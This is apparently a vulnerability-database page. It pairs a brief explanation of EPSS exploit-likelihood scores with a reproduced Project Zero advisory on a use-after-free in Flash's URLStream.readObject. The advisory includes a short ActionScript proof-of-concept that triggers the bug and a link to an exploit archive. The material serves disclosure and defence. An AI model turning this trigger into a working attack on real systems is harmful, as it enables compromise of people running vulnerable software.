EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=611 There is a use-after-free in URLStream.readObject. If the object read is a registered class, the constructor will get invoked to create the object. If the constructor calls URLStream.close, the URLStream will get freed, and then the deserialization function will continue to write to it. A minimal PoC is as follows: //In main flash.net.registerClassAlias("bob", myclass); var u:URLStream = new URLStream(); myclass.u = u; u.addEventListener(Event.COMPLETE, func); u.load(new URLRequest("file.txt")); function func(){ trace(u.readObject()); } // in myclass static public var u; public function myclass() { u.close(); } A sample script and SWF are attached. Note that file.txt needs to be in the same folder as getproperty.swf on a remote server. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39649.zip
